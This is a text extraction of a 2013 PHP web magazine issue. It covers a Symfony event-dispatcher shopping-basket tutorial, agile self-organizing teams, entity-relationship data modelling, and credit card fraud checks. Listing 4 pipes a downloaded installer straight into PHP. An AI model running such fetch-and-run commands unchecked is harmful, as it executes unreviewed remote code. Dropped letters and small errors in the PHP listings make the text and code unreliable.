base structure or this shopping basket:
Each item in the basket relates to an object/data-
base record stored elsewhere (e.g. event booking),
we need to know the ID of the item being pur-
chased.
As these IDs are only unique or the type o prod-
uct it is (there may be a booking with ID 1 and a
user who has upgraded their account, with ID 1,
so we need to store the type of product, e.g.
booking. The cost o the item being added.
We need to know the quantity being purchased.
We need to link multiple items together in a basket;
the common link or our items will be the ID of the
user who is ordering them.
So that we can clean up any old abandoned baskets(i we want to that is), we will want to store the
time the item was added.
We will need a basket model, which can take an object
which implements PurchasableInterfaceand will con-
vert it into a record in the basket items table (Listing 2).In order to acilitate this, we need:
A mapping o product object classes and their re-
spective product types.
A method to check a product is valid (i.e. has a
mapping) and creates a basket item model, popu-
lates it and saves it.
Installation
We can install the component using Composer, the
dependency management tool or PHP projects. The
rst step is to create a composer.json le in the root
o our project to reer to the dependencies (Listing 3).
Next we need to download composer, and run it,
subsequently downloading the dependencies, andcreating an autoloader or these dependencies. From
the command line we run these commands (Listing 4).Finally, we bring these dependencies into the project
by including the autoloader le (Listing 5).
The Event to raise
The EventDispatchercomponent expects events whichare raised to extend the components Event class. In the
past Ive made the mistake o having some o my mod-
els simple extend this class, which means the raised
Listing 2Namespace Demo\App;
class Basket
{
protected $container;
protected $userId;
protected $productTypeClassMap = array('Demo\App\Events\EventBooking'
=> 'event');
public function __construct($container, $user_d)
{
$this->container = $container;$this->userId = $user_id;
}
public function addProduct(PurchasableInterface $product)
{
$class = get_class($product);
if(!array_key_exists($class, $this->productTypeClassMap)) {
throw new \LogicException("Application is not sure how to process
a {$class} product";
} else {
$basket_item = new BasketItem($this->container);
$basket_item->setProductId($product->getId());$basket_item->setQuantity($product->getQuantity());
$basket_item->setProductType($this->productTypeClassMap[$class]);
$basket_item->setUserId($this->userId);
$basket_item->save();
}
}
Listing 3
{
"require": {
"symfony/event-dispatcher": "2.2.*"
}
}
Listing 4
$ curl -sS https://getcomposer.org/installer | php
$ php composer.phar install
Listing 5
require __DIR__.'/../vendor/autoload.php';
-
7/28/2019 PHP Web Magazine- April 2013 Issue
16/28
SymfonyE-commerce
www.webandphp.com Web & PHP Magazine 4.13 | 16
event could just be the model. The problem with this
approach is that the dispatcher will call the events set-
Namemethod, to pass the name o the event you are
raising. I your model then needs to save its state in the
database, you may nd its name eld has been updated!
The simplest approach is to create an Event class
in your application, which extends the componentsevent and has a notion o a payload, which might be
your model or other objects you want to interact within the event listener (Listing 6).
Event Listeners
The next step or us now is to create our Event Listen-
ers. These are classes and methods which will per-
orm an action when an event is raised (Listing 7).
We now have an event, a basket and a listener. The
listener has a method in it which will accept an event
and rom that it will add a product to the basket. Wenow need to bind the listener to our event dispatcher,
so that it will execute its callback when the event israised.
Bind the listeners
In order to bind the listeners, we need some code,
which creates an event dispatcher (we will put it in a
dependency injection container), creates the event lis-
tener, and connects the two together when a specic
event is raised; this is done through the addListener
method (Listing 8).The third parameter when binding the listener is pri-
ority. In our current listener we redirect to the shoppingbasket page. Ideally we would have another listener
Listing 6
-
7/28/2019 PHP Web Magazine- April 2013 Issue
17/28www.webandphp.com
SymfonyE-commerce
And within our order model, we simply make use o
the PaymentReceivedmethod dened in our Purchas-
ableInterfaceinterace and implemented in our Event
Booking model (Listing 11).
With the Event Dispatcher we have been able to inte-
grate the add-to-basket unctionality or non-standard
custom products, which still retaining existing logic.It has allowed us to intercept an event happening on
the site.
Summary
We have seen how we can easily enable e-commerce
unctionality into an existing application which wasnt
designed or e-commerce. The Event Dispatcher letsus de-couple actions and events which are not neces-
sarily directly related but may need to link together in
certain use cases.
An example implementation o this project is avail-
able at: https://github.com/mkpeacock/EventDispatch-ingECommerceDemo. Happy dispatching!
Listing 11
public function paymentReceived()
{
$product_objects = $this->getRelatedProductObjects();
foreach($product_objects as $product) {
$product->paymentReceived();
}
}
perorm this redirection and the add-product listener
would have a higher priority. This would give other lis-
teners the opportunity to do any other discrete units
o work beore something such as a header redirect or
exit call is made.
Raise and dispatch the eventThe nal step to join all o these processes together is
to actually raise an event and dispatch it to our event
dispatcher. Code, such as that below, would be added
to the method, which processes a customer creating
an event booking.
Taking it urther
O course or an e-commerce site there are urtherconsiderations we need to complete a project such as
this, such as:
Order processing Payment integration
Customer management
These are airly standard eatures which can be
dropped-in in isolation, the exception being payment
processing. This would be a relatively simple process,
such as shown in Listing 10.
Michael Peacock is an experienced senior/lead developer and ZendCertifed Engineer with a degree in Sotware Engineering rom theUniversity o Durham. Ater running his own business or a numbero years, and subsequently developing a large web-based vehicle
telematics platorm, he now leads the development team at GroundSix, an ideas investment company based in the North East. When he isnt de-veloping sotware, Michael can oten be ound speaking or writing about it.You can ollow him on twitter: www.twitter.com/michaelpeacock.
https://github.com/mkpeacock/EventDispatchingECommerceDemohttps://github.com/mkpeacock/EventDispatchingECommerceDemohttps://github.com/mkpeacock/EventDispatchingECommerceDemohttps://github.com/mkpeacock/EventDispatchingECommerceDemohttps://github.com/mkpeacock/EventDispatchingECommerceDemo -
7/28/2019 PHP Web Magazine- April 2013 Issue
18/28
AgileSelf-organizing teams
www.webandphp.com Web & PHP Magazine 4.13 | 18
by Steffan Surdek
The last ew months allowed me to work with custom-
ers that adopted agile practices without any coaching
and that wanted an assessment o their current prac-
tices. Three o the common challenges I fnd in these
assessments are:
1. A misunderstanding o the Scrum Master role
2. Development teams that cannot sel-organize3. Development teams that do not take ownership o
their projects
These points tie together because among other things,
a good Scrum Master makes sure the team can sel-organize and carry out Scrum meetings by themselves.
Teams that do not take ownership o their development
process will not take ownership o their projects either.
The other interesting thing is that when I ask manage-
ment why they adopted agile practices, they will usu-
ally tell me one o the reasons is they want to increase
the accountability and responsibility o their develop-
ment teams. They usually also tell me they are still
having issues making this happen. When I ask them i
they told their teams about these unmet expectationsor i they empowered them to reach that goal, they
typically answer no.
What is a self-organizing team?
There are various elements surrounding sel-organiz-
ing teams and we will discuss them in this section.
As a starting point, a sel-organizing team takes own-
ership or maximizing the value o the sotware they
develop. This means the team is not araid to propose
multiple designs or architectural solutions and recom-
mend the one they eel will provide the best return on
investment or their Product Owner.
Taking collective ownership o a project also means
that members constantly keep an eye on the current
sprint plan and will reorganize the work and assign-
ments as necessary, to make sure they can meet theirsprint goal. Team members will also pull tasks rom
the backlog as necessary without waiting or someone
to assign them work.
One o the challenges in building a sel-organizing
team is getting all team members working as peers.
Depending on the company culture, team members
may have various roles such as architects, testers,
developers and technical writers and these roles may
represent an inormal hierarchy or team members.
Team members need to be willing to work collabora-
tively and value the opinion o everyone on the team
regardless o roles.One way to achieve this is to build a set o team rules
everyone agrees on. These rules are a set o protocols
and commitments between team members and are a
starting point on which the team can continuously buildupon. Making them visible in the team work area al-
lows team members to reer to them when necessary
and although they will need courage to challenge each
other about ollowing their team rules this courage is
part o being a sel-organizing team. The core proto-
cols (available at http://liveingreatness.com) provides
a good example o an in-depth set o protocols teams
can use to improve how they unction as a team.Sel-organization requires having mechanisms to
help you decide as a team. Do you need consensus in
decision-making or can anyone decide anything they
want? Using a simple thumbs up or thumbs down
vote is an easy way to confrm i all team members
are on board with a team decision. When some people
vote thumbs down, ask them what would help them
Create your own
self-organizing teams
Give teams the space to learn from their mistakes and empower them!
In the last few months, I have often mentioned that self-organizing developmentteams are the key to any successful agile project. Having a common under-standing of what this means with your agile teams is critical or they will notmeet your expectations. This article will explore self-organizing teams and willprovide you with some hacks to help them happen faster in your organization.
-
7/28/2019 PHP Web Magazine- April 2013 Issue
19/28
AgileSelf-organizing teams
www.webandphp.com Web & PHP Magazine 4.13 | 19
change their vote and listen or how their contribution
could improve the decision the team made.
In decision making, the key is making sure all team
members get their air say. When some team mem-
bers systematically oppose any decision others make,
there may be a trust issue teams need to work through.
Another key point is to decide how to share decisionsmade within the team. Maintaining a decision log to
document the decisions the team made and the rea-sons they came to that conclusion is a great tool to start.
Another part o sel-organization relates to brain-
storming meetings. When meetings continually run
long, go o track or end with no clear decisions these
are clear warning signs o ineective team meetings.
Having an agenda or team meetings and clear objec-
tives or desired outcomes will help teams be much
more productive. Making eective use o time boxes
is one way to help teams remain ocused during brain-
storming sessions.Finally, the most important part o sel-organization
is promoting transparency even when projects are
not going well. Transparency allows teams to build
credibility with the management team and will allow
everyone to make inormed decisions. Transparency
requires courage rom the team and it calls or un-derstanding rom management as well. Any time the
management shows a lack o understanding when re-
ceiving bad news they will slowly drain the courage
rom team members.
Scrum Masters and self-organizationThe ofcial role o the Scrum Master is to ensure the
team ollows the rules o Scrum and adheres to the
ramework. This defnition assumes the team can sel-
organize but this is usually a chal lenge with new teams.
On new teams, the Scrum Master oten acilitates
team meetings such as the Sprint planning, dailyscrum, sprint review and retrospective meetings.
How do you go rom a-
cilitating everything to
just ensuring the team
is ollowing the rules o
Scrum?
As a Scrum Master,
you start by teaching theteam the Scrum rame-
work and acilitating
the meetings or a cou-
ple o sprints then you
slowly start delegating
some o the meetings
to the team. In the as-
sessments I was talking
about earlier, I oten fnd
mysel asking the Scrum
Master i the team could run a meeting such as the
Sprint planning meeting without them being present.More oten than not unortunately the answer is no.
There are two ways to start delegating a meeting to
the team. The drastic way is simply not showing upor a meeting and then you will see i the meeting hap-
pens at all. I it did happen, you should take some time
to speak with team members and get their eedback
on how the team did.
A soter way is or you to let the team know you
want them to be able to run these meetings and let
them know which one you will delegate frst. You
should explain you will only attend the meeting to ob-
serve and support the team but the entire team ownsrunning the meeting.
Having a clear routine with defned meeting agen-
das and objectives the teams knows about helps in
successully delegating meetings to the team. As an
example, on one team I worked with, the Scrum Mas-
ter delegated the daily scrum meeting by having theteam pick a dierent acilitator or the meeting each
day. This shared ownership o the meeting across
team members and allowed everyone the opportunityto lead the meeting.
The other way or Scrum Masters to help their teams
sel-organize is to start asking questions in various sit-
uations. For example, when team members are con-
tinually asking the same routine questions, the Scrum
Master can simply ask them who else they asked on
the team beore coming over and redirect them to oth-
ers on the team.
Self-organization and management
Management teams sometimes live in contradiction.
While some say they want their teams to sel-orga-nize and take responsibility, they do not change their
current behaviour to accommodate this. I heard a lot
about collaborative leadership with one o my previ-
ous employers and ound that managers mistakenly
understood this to mean the team did whatever they
wanted. These managers acted as i they no longerhad a voice in the decision making.
Figure 1: Tuckman stages and situational leadership styles
-
7/28/2019 PHP Web Magazine- April 2013 Issue
20/28
www.webandphp.com
AgileSelf-organizing teams
Among other things, sel-organization means teams
must have decision making ability with the caveat that
teams are working within a sandbox defned by their
management team. Any decision inside the sandbox
belongs to the team, but the managers role is to gen-
tly nudge them back when the team steps outside the
sandbox.The reality is also that teams are not all at the same
development stage. The leadership style and delega-tion you give them as a manager should take this into
account. Figure 1 shows the Tuckman stages o group
development and associated situational leadership
styles. Jurgen Apello talks about seven levels o del-
egation in his book Management 3.0 which urther re-
fnes the situational leadership styles.
Another important point or management is that del-
egation o authority implicitly means giving teams the
right to make mistakes or rather, the space to learn
rom their bad decisions. In company cultures whereblame and fnding culprits rules the day, teams will be
wary o taking risks and making mistakes.
Conclusion
Companies should consider creating sel-organizing
teams as an investment because building them takes
time and the existing company culture can create add-
ed challenges. Creating such teams begins with a clear
message o this expectation rom the management to
the development teams.
Sel-organization encompasses many things such
as team members taking ownership o their develop-ment process, proposing solutions, showing transpar-
ency and managing team member behaviours. Teams
should identiy their team rules and have a shared deci-sion making process.
A key role o the Scrum Master is helping the team
become sel-organizing. They can oster this by slowly
delegating meetings to the team and asking the team
Steffan Surdek is a senior consultant and agile coach at Pyxis Tech-nologies. Steffan has worked in IT for over eighteen years in col-laboration with many distributed teams around the world. In the lastfew years, Steffan was an agile trainer and coach in large compa-nies such as IBM and the TD Bank Group. He speaks at many con-
ferences and user groups about agility with distributed teams. Steffan isco-author of the book A Practical Guide to Distr ibuted Scrum written in col-laboration with the IBM Scrum Community. He blogs on his website at http://www.surdek.ca.
questions instead o providing or searching or all the
answers in place o the team.
Management teams must learn to empower their
teams and give them the space to make mistakes and
learn rom them. Collaborative leadership does not
mean the management team no longer has any say,
it means they defne the sandbox in which teams canmake their own decisions and gently nudge them back
when they step out o the sandbox.
-
7/28/2019 PHP Web Magazine- April 2013 Issue
21/28
-
7/28/2019 PHP Web Magazine- April 2013 Issue
22/28
ColumnBig Data
In last months issue, I reviewed the meaning o data,
and more importantly the key concept that all data is
relational. To recap, data in an application has no mean-
ing unless it is related to other data. With these relation-
ships, the data can be used to meet the requirements
o your application and the needs o your organization.
This concept applies to all types o DBMS engines
traditional Relational DBMSes, NoSQL, NewSQL, you
name it.
To ensure your database structure is useul, mean-
ingul and meets your particular application needs, itis critical that you create a data model. I have always
ound this vital in building a small project as an indi-vidual developer, and know rom hard-won experience
managing many sotware teams that it is even more
important on large projects.
A data model is critical, everyone on the team needs
to know it and understand it, i you are going to have
a successul application that delivers as expected
unctionally and with regards to perormance.
So why bring so much attention to a data model and
the data modelling process? Because in working with
developers over the years (and particularly in recent
years on a variety o Big Data projects), I have oundthis to be a very important step in the application de-
velopment process a step that oten gets skipped or
done without due importance.
In this article, I will cover the undamental concepts
o data modelling, and the process or developing aworkable data model.
The Ideal Data Model
There are many types o data modelling approaches;
some are very detailed with an extensive number o
steps. The style I preer is an Entity-Relationship data
model that shows all entities (tables) and attributes
(columns), with all main relationships specied. This
makes it easy to read and use, without making it over-
complicated.
In the next sections, Ill walk through an example
model, using the streamlined Entity-Relationship Mod-
elling approach, tried and tested over years o work
and 1000s o applications.One other thing to keep in mind when going through
this article is that there are numerous excellent data
modelling tools on the market. You can use one o
these, or just create your model with any visual graph
tool. I like to use an actual data modelling tool, as long
as it conorms to the modelling process I have adopt-
ed. Such tools can save a lot o time, helping with
Data Modelling 101
by Cory Isaacson
Bio
Cory Isaacson is CEO / CTO o CodeFutures Corpo-
ration. Cory has authored numerous articles in a
variety o publications including SOA Magazine,
Database Trends and Applications, and recently
authored the book Sotware Pipelines and SOA.
Cory has more than twenty years experience with
advanced sotware architectures, and has worked
with many o the worlds brightest innovators in
the feld o high-perormance computing. Cory
has spoken at hundreds o public events and
seminars, and assisting numerous organizations
address the real-world challenges o application
perormance and scalability. In his prior position
as president o Rogue Wave Sotware, he actively
led the company back to a position o proftable
growth, culminating in a successul acquisition
by a leading private equity frm. Cory can be
reached at: [email protected].
www.webandphp.com Web & PHP Magazine 4.13 | 22
-
7/28/2019 PHP Web Magazine- April 2013 Issue
23/28
ColumnBig Data
things like naming consistency, validation o relation-
ships, and other useul capabilities. There are many
aordable options available.
Entity-Relationship Modelling: Defnitions
The Entity-Relationship Modelling approach is tried
and tested, i you stick to a ew simple rules then thebasic process is easy to learn, and ast to implement.
The place to start is with a ew basic denitions:
Entity-Relationship Model: The entity-relationship
model (or ER model) is a way o graphically repre-senting the logical relationships o entities (or ob-
jects) in order to create a database [1].
Entity: An entity may be dened as a thing which
is recognized as being capable o an independent
existence and which can be uniquely identied.
Entities can be thought o as nouns. Examples: A
computer, an employee, a song ... [2] Attribute: Entities have attributes. Examples: An
employee entity might have a Social Security Num-
ber (SSN) attribute ... [2]
Relationship: A relationship captures how entities
are related to one another. Relationships can be
thought o as verbs, linking two or more nouns. Ex-
amples: A known relationship between a company
and a computer a supervisor relationship betweenan employee and a department, or a perormance
relationship between an artist and a song [2]
You can see that an Entity-Relationship Model is madeup o 3 things: Entities, Attributes and Relationships.
Here are some additional notes that can be helpul in
working with these concepts:
An Entity is the core, and normally translates to a
table or other discrete data structures (such as an
Object in a NoSQL database).
An Entity must be uniquely identiable.
You can think o each instance o an Entity as its
own object or thing that you are representing in
your database.
Entities have Attributes, which are additional data
elements that describe or dene an Entity.
Entities have Relationships between them, basedon matching Attributes values. For example, Cus-
tomerOrder Entity may be related to a Customer
Entity, using the CustomerId Attribute.
With these basic denitions in hand, we can look at
how Relationships work in Entity Relationship Mod-
elling, and how it all ts with the Entity RelationshipModelling process.
The Types o Relationships
Now lets look at the types o Relationships, the very
core o Entity Relationship Modelling:
One-to-One Relationship: This is where a data ele-
ment or objects relates to exactly one instanceo an
Entity. An example would be the Name o a Person
Entity (most people usually only have one name ).
One-to-Many Relationship: An instance o an En-
tity can relate to manyinstances o another Entity.
Here are some examples: A Car has manyDoors, a
Company has manyEmployees. The One-to-Many
Relationship is the most common type ound in an
Entity-Relationship Model.
Many-to-Many Relationship: In this case, oneinstancerom Entity A can relate to many instancesin Entity B, and each o the instances o Entity B
can in turn be related to many instanceso Entity A.
An simple example is as ollows: A CustomerOrder
instance can contain manyProduct instances, and
Product instance can be included in manyCustom-
erOrder instances. This is by ar the most complex
o the three Relationship types, and is easily re-solved with a special Join Entity, an Entity that is
created to break such a Many-to-Many Relationship
down into two One-to-Many Relationships. Extend-
ing our simple example, you can add a Custom-
erOrderLine Entity, containing one order line per
Product purchased, and now end up with two One-to-Many Relationships: Customerorder | Customer-orderLineand ProduCt | CustomerorderLine.
As you can see, there are only 3 types o Relationships
that can exist in a database. Later on we will discuss
how to normalizeyour Entity-Relationship Model, tostreamline and simpliy your model, such that the
model has only One-to-Many Relationships once the
process is complete.
Entity-Relationship Modelling: The Process
The basic process or Entity-Relationship Modellinghas these simple steps:
Discover Entities
Discover Attributes
Discover Relationships
Then there is a nal step to normalize your model to
ensure it is correct and will unction. (I also add one
last step which is to then de-normalize the model or
perormance and convenience, a technique I will cover
in a later article).
So how do you go about this? Its airly easy, and a-ter a while it becomes second nature you may even
nd yoursel thinking relationally about lots o sot-
ware problems.The key is the word discover, as that is how you do
it. You look around at all o the things involved in the
system you are modelling, and start noting down Enti-
ties. As you do that, you inevitably start to discover
www.webandphp.com Web & PHP Magazine 4.13 | 23
-
7/28/2019 PHP Web Magazine- April 2013 Issue
24/28
www.webandphp.com
ColumnBig Data
Attributes or your Entities, and then you can discover
Relationships or your Entities.
Lets say you want to start your own online Music
site, organizing all o the coolest new songs or users.
As we look at the area o Music, we can discover all
sorts o obvious Entities:
Artist
Song
Album Genre
Then we can discoverAttributes or these Entities, or
example the Artist and Song Entities might look like
this:
Artist
ArtistId
Name Song
SongId
Tit le
Genre
Album
AlbumId
Tit le
Youll notice that I have added an idAttribute to eachEntity, which typically is just a sequential key. This
makes working with the database ar simpler, espe-cially when describing relationships with primary keysand foreign keys(more about that in a uture article).
With this much o the model done, we can start to
discoverRelationships, here are two obvious ones:
Artist to Song: One-To-Many
Album to Song: One-To-Many
However, i you review this model careully, you will
see that it is over-simplied, even or this rudimentary
example. The faw in the logic is that a single Song can
have more than one Artist, so really the Artist to Song
Relationship is Many-to-Many. That is the rst step in
normalizingyour model, resolving any Many-to-Many
Relationships. There are other rules or normalizingyour data model, and Ill cover that in depth in a uture
article.
Hopeully you can see that with not much work, you
can easily dene the basic structure o your database
in a very short time. We dont really have a workable
data modelyet, but this section did review the most
important steps in the discoveryprocess.
Wrapping it up
This article covered the basics o Entity-Relationship
Modelling, providing you with the basic structure and
process. In uture articles I will review a much more in-depth example, a complete Entity-Relationship Model,
and delve into database normalization, an important
part o the modelling process.
References
[1] http://searchsqlserver.techtarget.com/defnition/entity-relationship-model
[2] http://en.wikipedia.org/wiki/Entityrelationship_model
-
7/28/2019 PHP Web Magazine- April 2013 Issue
25/28
ColumnSecurity
Why credit card processing is faulty
Day to Day Fraud
Detectionby Arne Blankerts, thePHP.cc, Germany
www.webandphp.com Web & PHP Magazine 4.13 | 25
Without it, you will probably have a hard time reserving
a hotel room, renting a car, paying or the concert tick-
et you ordered online, or even download music rom
the online music store. Yes, Im speaking o the good
old credit card and despite companies like PayPal gain-
ing market share, its probably still the most common
payment method or online transactions.
Looking at how credit cards are used in everyday
lie, its amazing that such an inherently insecure
system survived as it is violating almost every rule
there is in terms o security. Even though it provides
all three security relevant details (the number, expirydate and ccv code) on the same physical plastic card,you hand it over to the waiter in the restaurant, hoping
he or she will not copy the data down whilst process-
ing your bill.
Oh, and you might as well sign the receipt with
Mickey Mouse rather than your real name, as no-
body bothers checking your signature anyway. Techni-
cally the transaction has already been processed and
the signature merely gets checked i at all in case
o a dispute.
It seems that the credit card companies realized
that this is becoming expensive or them. Sick o cov-
ering up the raud and reimbursing customers, theyhave started to fght back: When used online, instead
o only entering the already known three components,
one now has to provide a ourth at least sometimes.
Because depending on the bank, card issuer or cred-
it card company the mechanism or this component
varies. Some want to have an answer to the previous-ly chosen question; others require the use o random
reader generated code. To make it a bigger mess, the
requirement to actually use this more secure system
depends on the country o origin o the card in use, lo-
cal laws, and on the online shop you try to pay at. The
shop owner may also decide whether or not to use this
additional security layer.
O course this wont work at in an old school clas-
sical retail store or restaurant. Did somebody just
say PIN code? Do you have any idea how that would
screw up the processes in (busy) restaurants, where
credit cards magically disappear rom the table just too
magically return with the printed receipt, waiting to be
signed? Or do you actually sign on those digital padsat the register?
Long story short, it seems that tightening the secu-rity on the user side is not really an option i you dont
want the process to take any longer. And the ease o
use seems to be a vital actor otherwise there would
be no logical reason to push contact ree payment
methods that do not even require a signature or PIN.
So instead o adding security measures and even en-
orcing them, the credit card companies had to come
up with a means to decide whether or not to accept a
transaction beore authorizing payment.
Looking at it, the credit card companies have thesame type o problem as every online shop. Depend-
ing on the trustworthiness or track history o the cus-
tomer, dierent orms o payment may be available
or not. Prepaid, credit, an invoice based payment,
or even instalments. Each method comes with prosand cons: While a prepaid transaction is most secure
Bio
Arne Blankerts consults for thePHP.cc, solving IT
problems long before many companies realise
that they even exist. IT security is his passion,
which he pursues with almost magical intuition,
creating solutions that always bear his hallmark.
Companies around the world rely on his site sys-
tem and Unix-based system architectures.
-
7/28/2019 PHP Web Magazine- April 2013 Issue
26/28
www.webandphp.com
ColumnSecurity
or the shop owner it is also pretty much the slowest
orm o payment, causing huge delays in getting the
ordered goods out to the client. A post paid payment
on the other hand comes with the risk o not getting
paid at all.
So what to oer? And to whom? A returning cus-
tomer with a standing history o successul transac-tions is more likely to be allowed to pay ater receiving
the goods than a new customer. Sounds logical? True,
but why? Every customer was a good customer be-
ore things went downhill. To reduce their own risks,
many a shop owners push the burden o deciding
about which type o transaction to use to a payment
provider. And what do they do? They usually perorm
various logical checks o the data provided as well as
additional background checks. The logical part starts
with a simple question: Does the credit card num-
ber given make sense? As random as the digits may
seem, they include checksums and other inormationthat make it easy to tell i the numbers are made up or
could actually exist. But o course by merely looking
at them, nobody can tell whether or not they reer to
an active card, and i it actually belongs to the person
claiming it. Another important Task is to fnd out i new
transactions can be run against it? The only way to do
that is to actually run a transaction, which at least or
a credit card is pretty easy: A simple lock request
will allocate, but not yet subtract, unds on the card
but only i all the passed details match. In case this is
merely done to veriy the card, using a large amount
o money or this is likely to make the customers un-
happy. As a result, many websites try to allocate very
small amounts, like 1 cent only.While 1 cent may seem like nothing much, it still is
an allocation o unds. So to be nice to their potential
customers some shops and their payment providers
must have been thinking: How about we run a transac-
tion allocating 0 cent? What sounds like a brilliant idea
at frst, can easily backfre: My credit card company or
instance blocks empty transaction to prevent the po-tential abuse o their service or the very reason these
checks are made, and to not have to process rom
their perspective pointless transactions. Hence, as
part o their raud detection they dont allow 0 cent
transactions, declining the (verifcation) request.What makes perect sense in their context who
would want to pay or empty transactions? gets in-
terpreted as an invalid card by the shop, prohibiting
the use o these cards, even though they are perectly
valid and active.
So i you have to implement it on your systems, you
should think at least twice on how to translate the busi-
ness requirement into rules and those rules into actual
code. This process can be as hard as fguring out the
correct rule set as external services and partners may
have their own rules and raud detections in place. The
last thing you possibly would want is two raud detec-tion systems fghting each other the user will always
be at the losing end.
Looking at how credit cardsare used in everyday life, itsamazing that such an inherent-ly insecure system survived asit is violating almost every rulethere is in terms of security.
-
7/28/2019 PHP Web Magazine- April 2013 Issue
27/28
CommunityHow to
www.webandphp.com Web & PHP Magazine 4.13 | 27
by Daniel Ribeiro
What does Evangelism mean?: Wikipedia gives us
a detailed denition: Evangelism is the preaching o
the Christian Gospel or the practice o relaying inor-
mation about a particular set o belies to others with
the object o conversion.
Parts o the above sentence actually ring true when
it comes to becoming a PHP Evangelist, even i un-
consciously. To evangelize is to eectively transerinormation regarding one set o belies to another,
with the nal goal o converting each individual to the
original belie. Isnt that what we do when we spreadthe word o PHP?!
The idea behind being a PHP Evangelist is or an indi-
vidual to speak passionately about PHP and be able to
have strong and durable arguments or PHP, i ques-
tioned about his aith in the technology. With this
devout unbending aith in PHP it will encourage others
to not only start using the language, but to also all in
love with it too. Maybe someday, those PHP begin-
ners will become evangelists was well.
What do you need to start doing to become a PHPEvangelist?
Have an advanced knowledge o the language. Ater
all, how can you have a solid and strong argument inany technical debate without knowing what you are
debating about?
What sources should I use to help advance my knowl-
edge o the language? You should denitely check out
the ocial docs. When dealing with PHP, you will not
nd a better resource than the ocial documentation,make it your main tool to evolve, study and research
every single document. You could look into the Zend
Engineer Certication rom Zend Technologies, which
is currently the main certication or PHP. You take
an exam which gives you questions on the language
itsel. Pass and you become a certied engineer. Thatwill place you on the Yellow Pages o Zend Technolo-
gies, a good place to be or developers to contact youto ask advice.
Think out o the box. Technology evangelists are
easy to spot, because they become the ace o that
technology within the community they work. PHP
evangelists should become the reerence point and a
point o contact or other PHP programmers, especial-
ly i they have a question about the language.
How will I stand out rom others in the commu-
nity? There are many things you can do; one thing
would be to look at all o the RFCs (Request or
Comments). Here you will have an overview page
o all RFCs related to PHP core development. Thatswhere you will nd the community eature imple-
mentation proposals or the language. So whenyoure next at a community event, discuss imple-
mentation proposals, oer your opinions on them.
Knowing how the development o the technology
you utilize is going can be a great advantage. Which
eatures do the community wish to see into the lan-
guage core? Which o these are actually going to be
approved? Will they be in the next stable version?
What discussions have been driving those proposals
and approvals? Research.
You can also attend local events related to PHP,such as conerences that are oten hosted in lots o
dierent countries. Some countries even have or-
ganized groups o PHP users that host talks about
relevant topics or the community. By attending
events such as these or even by talking to the otherattendants, you will be recognized. You could even
host an event yoursel!
Become involved with your community
Do you want to be a
PHP Evangelist?Beore we dive into the subject o how to become a PHP Evangelist, weneed to agree on the defnition o the word evangelism. In order tobecome a PHP Evangelist it is essential to really understand its meaning.
http://en.wikipedia.org/wiki/Evangelismhttp://php.net/manualhttps://wiki.php.net/rfchttps://wiki.php.net/rfchttp://php.net/manualhttp://en.wikipedia.org/wiki/Evangelism -
7/28/2019 PHP Web Magazine- April 2013 Issue
28/28
CommunityHow to
Contribution
We all know that the theoretical knowledge about
sotware engineering is important, but it is architec-
ture and mo